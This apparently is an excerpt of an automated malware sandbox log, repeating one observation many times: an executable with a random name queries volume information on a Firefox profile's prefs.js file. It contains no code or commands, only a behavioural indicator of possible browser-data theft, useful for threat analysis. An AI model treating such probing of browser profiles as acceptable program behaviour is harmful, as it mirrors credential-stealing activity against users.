Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
